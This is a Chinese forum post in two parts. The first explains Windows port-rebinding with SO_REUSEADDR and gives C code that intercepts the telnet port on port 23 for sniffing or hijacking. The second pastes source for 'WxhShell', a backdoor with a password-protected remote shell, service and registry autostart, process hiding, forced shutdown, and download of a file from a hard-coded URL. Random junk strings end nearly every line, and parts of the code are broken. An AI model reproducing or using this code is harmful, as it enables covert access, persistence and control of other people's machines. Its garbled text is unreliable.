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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _GY2|x2c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Msvs98LvW  
1 39T*0C  
  saddr.sin_family = AF_INET; 29 !QE>Q  
CUTjRWQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [x?9< #T  
!m=Js"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); | J'k 9W"  
U*N{H$ACuR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~%tVb c  
oFyB-vpYQV  
  这意味着什么?意味着可以进行如下的攻击: yL<u>S0  
D:K"J><@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1Q^u#m3  
A'}!'1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _nzTd\L88  
e6J>qwD?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N?S;v&q+  
w?3ww7yf`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2 N(Z^  
f"\klfrRI_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]n@T5*=  
C:AV?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7C Sn79E  
v:!TqfI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L B.B w  
%c$|.TkX  
  #include JSq3)o9?/  
  #include  EAr;  
  #include c#?~1@=  
  #include    sm?b,T/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   npytb*[|c  
  int main() $B9?>a|{A  
  { 9%R"(X)  
  WORD wVersionRequested; >'m&/&h  
  DWORD ret; L>Ze*dt  
  WSADATA wsaData; 2!9W:I7  
  BOOL val; qxyY2&  
  SOCKADDR_IN saddr; XdzC/ {G  
  SOCKADDR_IN scaddr; VqD_FS;E  
  int err; :|&6x!  
  SOCKET s; E@Ewx;P5  
  SOCKET sc; WcXNc`x  
  int caddsize; UH7?JF-D  
  HANDLE mt; fQ.S ,lMe  
  DWORD tid;   dB&<P[$+8  
  wVersionRequested = MAKEWORD( 2, 2 ); D;48VK/Q  
  err = WSAStartup( wVersionRequested, &wsaData ); HsRoiqo  
  if ( err != 0 ) { xVI"sBUu  
  printf("error!WSAStartup failed!\n"); 7bGOE_r  
  return -1; I@Y k &aU  
  } GVf[H2%H  
  saddr.sin_family = AF_INET; ~U]%>Zf  
   /r&4< @  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^[+2P?^K  
1n*"C!q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S,'ekWVD  
  saddr.sin_port = htons(23); S@ y! 0,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gC%$)4-:  
  { q+;lxR5D  
  printf("error!socket failed!\n"); %3=T7j  
  return -1; jCx*{TO  
  } uTl"4;&j  
  val = TRUE; 3c:fYE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tp ky  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5YUe>P D  
  { sUk n.g!  
  printf("error!setsockopt failed!\n"); "79b>  
  return -1; ,>kXn1 ,  
  } C(KV5c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !0Ak)Q]e'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zQGj,EAM}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pJo4&Ff  
q}E'x/s2m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 96gaun J  
  { &u) qw }  
  ret=GetLastError(); wSALK)T1{  
  printf("error!bind failed!\n"); :^x,>( a  
  return -1; F"tM?V.|  
  } ,z((?h,nm  
  listen(s,2); AO7X-,  
  while(1) Mu$q) u  
  { O`~L*h_  
  caddsize = sizeof(scaddr); @ L/i  
  //接受连接请求 _JKz5hSl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {D]I[7f8Ev  
  if(sc!=INVALID_SOCKET) pC&i!la{o}  
  { ~(cqFf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z#GR)jb+  
  if(mt==NULL) Xi=4S[.4  
  { #yCnM]cEn  
  printf("Thread Creat Failed!\n"); wA87|YK8*  
  break; `y1,VY  
  } L_=3`xE _  
  } fKs3H?|  
  CloseHandle(mt); D]V&1n  
  } XpT})AV  
  closesocket(s); *m 6*sIR  
  WSACleanup(); d%1 Vby  
  return 0; 'f.5hX(Y  
  }   z+?48 }  
  DWORD WINAPI ClientThread(LPVOID lpParam) NE@P8pQ>  
  { r"lh\C|  
  SOCKET ss = (SOCKET)lpParam; ?bG82@-  
  SOCKET sc; _<)HFg6  
  unsigned char buf[4096]; H|cxy?iJ  
  SOCKADDR_IN saddr; (8GA;:G7G  
  long num; _b[Pk;8}j;  
  DWORD val; &Qv%~dvW  
  DWORD ret; >LFj@YW_)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B=i%Z _r]w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x=Ez hq]X  
  saddr.sin_family = AF_INET; >DR/ lBtL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \@j3/!=,n%  
  saddr.sin_port = htons(23); bB.Yq3KI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R)GDsgXy  
  { Olq`mlsK  
  printf("error!socket failed!\n"); l @r`NFWD@  
  return -1; RSF@Oo{  
  } bj+foNvu\  
  val = 100; A) TO<dl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S%w67sGl4n  
  { No w2ad&  
  ret = GetLastError(); 3T@`V FbE  
  return -1; Ua>.k|>0  
  } { *Wc`ZBY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `b[@GGv  
  { Hd~fSXFl  
  ret = GetLastError(); 8EZ,hY^  
  return -1; j(Tk6S  
  } Ea N^<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2}#VB;B  
  { 1.z !u%2  
  printf("error!socket connect failed!\n"); x@<!#d+  
  closesocket(sc); %A;s 3 ]V  
  closesocket(ss); 5ZHO+@HiFH  
  return -1; :j% B(@b  
  } 4{ exv  
  while(1) 8BM[c;-{g`  
  { #4?:4Im#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *(Us:*$W.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wEbO|S+K1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H AMps[D[  
  num = recv(ss,buf,4096,0); z_9q T"vF  
  if(num>0) O9MBQNwjA  
  send(sc,buf,num,0); C<iOa)_@Q  
  else if(num==0) 8HH\wu$$e  
  break; +Ram%"Zwh  
  num = recv(sc,buf,4096,0); ;F>I+l_X  
  if(num>0) uWerC?da  
  send(ss,buf,num,0); ^NOy: >  
  else if(num==0) *XqS~G  
  break; o|c"W}W  
  } bR|1* <  
  closesocket(ss); B7BikxUa  
  closesocket(sc); 05vu{>  
  return 0 ; #+PfrS=  
  } fm^)u"  
R{Qvpd$y  
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========================================================== T1~,.(#  
bR? $a+a)  
下边附上一个代码,,WXhSHELL Nx4X1j?-n  
U-:_4[  
========================================================== Rk52K*Dc  
aQhr$aH  
#include "stdafx.h" 1'g{tP"d  
7_ah1IEK  
#include <stdio.h> \%:]o-+"I  
#include <string.h> 'l3K*lck  
#include <windows.h> J*CfG;Y:  
#include <winsock2.h> $8,/[V A  
#include <winsvc.h> H(Q|qckj  
#include <urlmon.h> jF%[.n[BU  
|MXv  w6P  
#pragma comment (lib, "Ws2_32.lib") }]?U. ]-  
#pragma comment (lib, "urlmon.lib") O1K~]Nt  
z;En Ay{9  
#define MAX_USER   100 // 最大客户端连接数 Sk,9<@  
#define BUF_SOCK   200 // sock buffer -a$7b;gF  
#define KEY_BUFF   255 // 输入 buffer &OSyU4r  
b/Z 0{38  
#define REBOOT     0   // 重启 n/]$k4h  
#define SHUTDOWN   1   // 关机 pu*vFwZ  
nob^ I5?  
#define DEF_PORT   5000 // 监听端口 juuV3et  
Li;(~_62a]  
#define REG_LEN     16   // 注册表键长度 NTtRz(   
#define SVC_LEN     80   // NT服务名长度 U)N_/  
'qg q8  
// 从dll定义API ihJC)m`Hbl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1$Pn;jg:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /8` S}g+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *AU"FI> V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qm)KO 4  
wB;'+d&  
// wxhshell配置信息 5Y&s+|   
struct WSCFG { k(;c<Z{?1  
  int ws_port;         // 监听端口 "HQH]?!k  
  char ws_passstr[REG_LEN]; // 口令 1=t\|Th-  
  int ws_autoins;       // 安装标记, 1=yes 0=no \ns#l@B  
  char ws_regname[REG_LEN]; // 注册表键名 nJ4CXSdE  
  char ws_svcname[REG_LEN]; // 服务名 jbqhNsTNK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  -'|pt,)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k'BLos1W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o?J>mpC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?7cF_Zvve  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "]nbM}>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /.\$%bua  
[D H@>:"dd  
}; Cse@>27s  
9 0[gXj  
// default Wxhshell configuration OZ q/'*  
struct WSCFG wscfg={DEF_PORT, ,diV;d  
    "xuhuanlingzhe", 8fdK|l w  
    1, Nky%v+r  
    "Wxhshell", yVxR||e  
    "Wxhshell", gT R:9E:B  
            "WxhShell Service", |Js96>B:  
    "Wrsky Windows CmdShell Service", PL8eM]XS  
    "Please Input Your Password: ", %xR;8IO  
  1, %rT XT  
  "http://www.wrsky.com/wxhshell.exe", U3^T.i"R  
  "Wxhshell.exe" #TUsi,jG  
    }; Uc }L/ax  
C/[2?[  
// 消息定义模块 Lvc*L6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z1LATy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]P ->xJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e@L'H)w,  
char *msg_ws_ext="\n\rExit."; =?57*=]0M  
char *msg_ws_end="\n\rQuit."; awXL}m[_!  
char *msg_ws_boot="\n\rReboot..."; %.b)%=  
char *msg_ws_poff="\n\rShutdown..."; FI~)ZhE)]  
char *msg_ws_down="\n\rSave to "; A"C%.InZ  
2u6N';jgZ  
char *msg_ws_err="\n\rErr!"; ;'pEzz?k"  
char *msg_ws_ok="\n\rOK!"; iYv6B6o/99  
gW6lMyiLb  
char ExeFile[MAX_PATH]; E+"INX7  
int nUser = 0; ^#S  
HANDLE handles[MAX_USER]; c?eV8h1G  
int OsIsNt; 9GkG'  
@^;WC+\0  
SERVICE_STATUS       serviceStatus; 4%p5X8|\ih  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mw`%xID*  
S53 [Ja  
// 函数声明 u3 ?+Hu|*T  
int Install(void); !hF b <  
int Uninstall(void); N"T~U\R  
int DownloadFile(char *sURL, SOCKET wsh); +]CKu$,8  
int Boot(int flag); _ZD)#?  
void HideProc(void); %o#D"  
int GetOsVer(void); kzns:-a  
int Wxhshell(SOCKET wsl); Iu(T@",Q#  
void TalkWithClient(void *cs); ?GD{}f33  
int CmdShell(SOCKET sock); ahS*YeS7  
int StartFromService(void); 8o4<F%ot  
int StartWxhshell(LPSTR lpCmdLine); =t&B8+6  
**-%5 ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KzeA+PI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tmK@Veb*a'  
C+ r--"Z  
// 数据结构和表定义 G ~a/g6M4  
SERVICE_TABLE_ENTRY DispatchTable[] = MY9?957F  
{ A~I}[O~(pb  
{wscfg.ws_svcname, NTServiceMain}, f5wOk& G  
{NULL, NULL} qg:1  
}; DWk'6;e4j  
@/anJrt  
// 自我安装 x gaN0!  
int Install(void) b |m$ W  
{ : [aUpX=  
  char svExeFile[MAX_PATH]; 9S&6u1  
  HKEY key; +*)B;)P  
  strcpy(svExeFile,ExeFile); t ~U&a9&Z  
6$)Yqg`X  
// 如果是win9x系统,修改注册表设为自启动 }#EiL !Pv  
if(!OsIsNt) { RS<c&{?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E;VW6[M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NO`a2HR$  
  RegCloseKey(key); $3Wl~ G}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r1ctW#\~8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b*dRNu  
  RegCloseKey(key); aKH\8O4L5  
  return 0; o~<fw]y  
    } @U5 +1Hjc  
  } ?PyI#G   
} %tUJ >qYU  
else { 8EbYk2j  
QE< 63|  
// 如果是NT以上系统,安装为系统服务 z56W5g2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4vBZb^W;9  
if (schSCManager!=0) K.l?R#G`,F  
{ "-v9V7KCM  
  SC_HANDLE schService = CreateService )F4er '  
  ( I+`~6  
  schSCManager, Q(V c/  
  wscfg.ws_svcname, oPzt1Y  
  wscfg.ws_svcdisp, bhe|q`1,E  
  SERVICE_ALL_ACCESS, !R{L`T0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [u)^QgP  
  SERVICE_AUTO_START, Y&'2/zI6~  
  SERVICE_ERROR_NORMAL, r^*,eF  
  svExeFile, g[H7.  
  NULL, wF@qBDxg  
  NULL, 0qJ(3N  
  NULL, `jP\*k`~]  
  NULL, zq{L:.#ha  
  NULL c/T]=S[  
  ); ?F?!QrL  
  if (schService!=0) bmt2~!  
  { jew?cnRmd  
  CloseServiceHandle(schService); !^l<jrM  
  CloseServiceHandle(schSCManager); I!# 42~\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w? !@fu  
  strcat(svExeFile,wscfg.ws_svcname); +Icg;m{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TmzEZ<} &7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P_&2HA,I  
  RegCloseKey(key); g&BF#)7C  
  return 0; X*%KR4`  
    } m:p1O3[R  
  } mKxQ U0`  
  CloseServiceHandle(schSCManager); ZL1[Khr,s  
} s|EP/=9i  
} 42# rhgW  
lv$tp,+  
return 1; _4.`$n/Z  
} G'{4ec0<{  
5OKbW!  
// 自我卸载 G.T}^ xHmL  
int Uninstall(void) Q3z-v&^E9  
{ +uv]dD *i  
  HKEY key; Sfh\4h$H  
zbi[r  
if(!OsIsNt) { tM{t'WU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /0"Y. @L  
  RegDeleteValue(key,wscfg.ws_regname); Qy@chN{eP  
  RegCloseKey(key); #XC\= pZX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zy+|)^E  
  RegDeleteValue(key,wscfg.ws_regname); nuKjp Ap!  
  RegCloseKey(key); 7CM<"pV  
  return 0; OU0\xx1/  
  } =AZ>2P  
} ?L{[84GSO  
} ^U:pv0Qz  
else { {!'AR`|  
qBKIl= ne  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,}`II|.oB  
if (schSCManager!=0) 3Yg/-=U(  
{ *>S\i7RET  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X`^9a5<"  
  if (schService!=0) oACuI|b  
  { ~G5)ya-  
  if(DeleteService(schService)!=0) { ,Iwri\  
  CloseServiceHandle(schService); *4]I#N  
  CloseServiceHandle(schSCManager); >9Ub=tZm  
  return 0; )}n`MRDB  
  } jIAl7aoY  
  CloseServiceHandle(schService); M/ R#f9W  
  } *vUKh^="  
  CloseServiceHandle(schSCManager); 3EF|1B/5  
} qK;n>BTe  
} ]W-:-.prh  
Z"% =  
return 1; im4V6 f;%  
} e!G I<  
wgzjuTqwBF  
// 从指定url下载文件 Hz%#&E  
int DownloadFile(char *sURL, SOCKET wsh) i nF&Pv  
{ m0XK?;\V  
  HRESULT hr; osPX%k!yw  
char seps[]= "/"; U#d&#",s  
char *token; {u3^#kF  
char *file; T3%yV*F,  
char myURL[MAX_PATH]; tlI3jrgw  
char myFILE[MAX_PATH]; $PHKI B(  
^\ {%(i9  
strcpy(myURL,sURL); mY#[D; mUe  
  token=strtok(myURL,seps); byyz\>yAVq  
  while(token!=NULL) 2EycFjO  
  { P0k|33;7L  
    file=token; u <D&RT  
  token=strtok(NULL,seps); I zM=?,`  
  } )Xl/|YD  
k]ptk^  
GetCurrentDirectory(MAX_PATH,myFILE); .kBi" p&  
strcat(myFILE, "\\"); <P(d%XEl  
strcat(myFILE, file); |Tf}8e  
  send(wsh,myFILE,strlen(myFILE),0); `c(,_o a{  
send(wsh,"...",3,0); Rfeiv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FFK79e/5  
  if(hr==S_OK) (s,Nq~O  
return 0; Z\6azhbI}  
else v9u/<w68!  
return 1; VKS:d!}3E  
k2,n:7  
} CZxQz  
D8paIp  
// 系统电源模块 o8H<{D13  
int Boot(int flag) qs\ & C  
{ ]cLpLA"  
  HANDLE hToken; -TjYQ  
  TOKEN_PRIVILEGES tkp; )PB&w%J  
* 8kg6v%  
  if(OsIsNt) { *x)WF;(]g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9Rb-QI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0r_8/|N#  
    tkp.PrivilegeCount = 1; D2[uex  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 05=O5<l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v}+axu/?  
if(flag==REBOOT) { "n7rbh3VW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E )09M%fe  
  return 0; |hiYV  
} Qh? E* 9  
else { h 34|v=8d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kIiId8l  
  return 0; ]Qkto4DQ5  
} ^.nvX{H8~=  
  } n-}:D<\7  
  else { JihI1C  
if(flag==REBOOT) { e ! 6SJ7xC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) - EF(J  
  return 0; e\%QHoi>u  
} 0{BPT>'  
else { 5#80`/w^U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J= ia  
  return 0; 6@]Xwq  
} PxfeU2^{0  
} PC.$&x4w1  
?\<2*sW [k  
return 1; C$"jZcm,I  
} Mpk^e_9`<  
v@XQ)95]F  
// win9x进程隐藏模块 SR*%-JbA  
void HideProc(void) ngsax1xO  
{ `]LaX&u  
q&<#)#+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >-s}1*^=oD  
  if ( hKernel != NULL ) T9t9])  
  { `RthX\Tof  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6zRJ5uI,/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pvI(hjMYPk  
    FreeLibrary(hKernel); 7v?tSob:b  
  } l YH={jJ  
!Ya +  
return; }h +a8@  
} ii2oWU  
"sAR< 5b  
// 获取操作系统版本 $C9<{zX   
int GetOsVer(void) yZ0;\Tr*J  
{ pqMv YF  
  OSVERSIONINFO winfo; mH;Z_ME"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (pi7TSJ  
  GetVersionEx(&winfo); M\\TQ(B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~q4DePVE  
  return 1; F|xXMpC.f  
  else gW/H#T,  
  return 0; 0qG[hxt%  
} K8|6r|x  
1G.+)*:3  
// 客户端句柄模块 m9#u. Q*  
int Wxhshell(SOCKET wsl) =!#D UfQf  
{ P%ZWm=lg  
  SOCKET wsh; )@R:$l86  
  struct sockaddr_in client; OUI}jJw+  
  DWORD myID; ( fdDFb#1  
/R|"/B0  
  while(nUser<MAX_USER) Wv=L_E_  
{ Vg:P@6s  
  int nSize=sizeof(client); `d OjCA_&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yA%[ u.{  
  if(wsh==INVALID_SOCKET) return 1; JSGUl4N  
?MpGz CPa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yt!K|g  
if(handles[nUser]==0) * +OAc `8  
  closesocket(wsh); Rx`0VQ  
else ^1*p]j(  
  nUser++; Jc:G7}j6  
  } >$R-:>~zN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "H G:by  
cst=ms  
  return 0; !^8'LMY<I  
} oK(ua  
\2NiI]t]  
// 关闭 socket 8De `.!Gg  
void CloseIt(SOCKET wsh) jWU)y)$  
{ 8V}c(2m  
closesocket(wsh); ^' [|  
nUser--; <78> 6u/W%  
ExitThread(0); IloHU6h'  
} Z>M*!mQi  
UI8M<  
// 客户端请求句柄 .Dx]wv  
void TalkWithClient(void *cs) pAa{,,Qc  
{ /,:32H  
v WhtClJ3  
  SOCKET wsh=(SOCKET)cs; HuK'tU#  
  char pwd[SVC_LEN]; x`o_&09;CG  
  char cmd[KEY_BUFF]; Eydk64 5:3  
char chr[1]; ~V./*CQ\c  
int i,j; ;- cq#8S  
l7x%G@1#~W  
  while (nUser < MAX_USER) { YEZ"BgUnbp  
90ORx\Oeo  
if(wscfg.ws_passstr) { }RyYzm2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "arbUX~d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #v~5f;[AAs  
  //ZeroMemory(pwd,KEY_BUFF); QTLOP~^  
      i=0; L~0B  
  while(i<SVC_LEN) { ,YiBu^E9  
|5FyfDaFBX  
  // 设置超时 zCco/]h  
  fd_set FdRead; ~Aq UT]l  
  struct timeval TimeOut; kj-S d^  
  FD_ZERO(&FdRead); 8<g5.$xyz  
  FD_SET(wsh,&FdRead); ^c!Hur6)  
  TimeOut.tv_sec=8; F5*Xx g}N  
  TimeOut.tv_usec=0; i4uUvZ f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {WC{T2:8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z&21gN  
Uh9$e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2} T" |56  
  pwd=chr[0]; aIm\tPbb  
  if(chr[0]==0xd || chr[0]==0xa) { 2?m'Dy'JE  
  pwd=0; 3N<FG.6  
  break; &1VC0"YJWy  
  } >Vg<J~[g  
  i++; N 2x\O~7  
    } -ff*,b$Q/  
#PFf`7b,z  
  // 如果是非法用户,关闭 socket U`:$1*(`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \6sp"KqP  
} IJs` 3?  
0_%u(?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BGUP-_&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FfP Ce5)  
8-po|  
while(1) { PR.?"$!D{  
%+`$Lb?{  
  ZeroMemory(cmd,KEY_BUFF); XRaq\a`=:  
$_<,bC1[  
      // 自动支持客户端 telnet标准   NB>fr#pb  
  j=0; )TP7gLv=b  
  while(j<KEY_BUFF) { +=:CW'B5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a|66[  
  cmd[j]=chr[0]; y&SueU=  
  if(chr[0]==0xa || chr[0]==0xd) { \E0Uj>9+[  
  cmd[j]=0; B'&%EW]  
  break; Cj ykM])  
  } 1'}~;?_  
  j++; zs7K :OlkA  
    } K72U0}$B  
fpzC#  
  // 下载文件 b~cN#w #  
  if(strstr(cmd,"http://")) {  @4H*kA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i"zWv@1z  
  if(DownloadFile(cmd,wsh)) p5Y"W(5_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r6j 3A  
  else 5]gd,&^?>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZG<<6y*.  
  } hPH= .rX  
  else { UX(#C,qgG  
9r8*'.K`Z  
    switch(cmd[0]) { Q7f\ 5QjT  
  gP)g_K(e  
  // 帮助 DmPp&  
  case '?': { K~C*4H:9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~u-mEdu3C  
    break; R`A @F2  
  } Uln[UK  
  // 安装 HP&+ 8  
  case 'i': { *y F 9_\n  
    if(Install()) M2mte#h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s8eFEi  
    else W}nD#9tL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aQw?r  
    break; mZ*!$P:vy"  
    } A=E1S{C  
  // 卸载  s y#CR4X  
  case 'r': { }<A\>  
    if(Uninstall()) fnwtD *``  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3fM~R+p  
    else AEhh 6v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > STWt>s  
    break; @)|62Dv /  
    } Al6)$8]e   
  // 显示 wxhshell 所在路径 oJ>]=^?k  
  case 'p': { k)dLJ<EM  
    char svExeFile[MAX_PATH]; OZs^c2 W  
    strcpy(svExeFile,"\n\r"); 1Y\g{A "  
      strcat(svExeFile,ExeFile); kC0F@'D  
        send(wsh,svExeFile,strlen(svExeFile),0); )"wWV{k  
    break; -+-@Yq$  
    } ^6oz3+  
  // 重启 9:IVSD&"Rf  
  case 'b': { GnkNoaU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "\)j=MI8u+  
    if(Boot(REBOOT)) &8z`]mB{t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F3i+t+Jt  
    else { Hq3"OMGq  
    closesocket(wsh); X^eTf-*T  
    ExitThread(0); |Fm(  
    } -6(C ^X%  
    break; hK&jo(V  
    } C /\)-^  
  // 关机 iE!\)7y  
  case 'd': { -: dUD1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^[uA^  
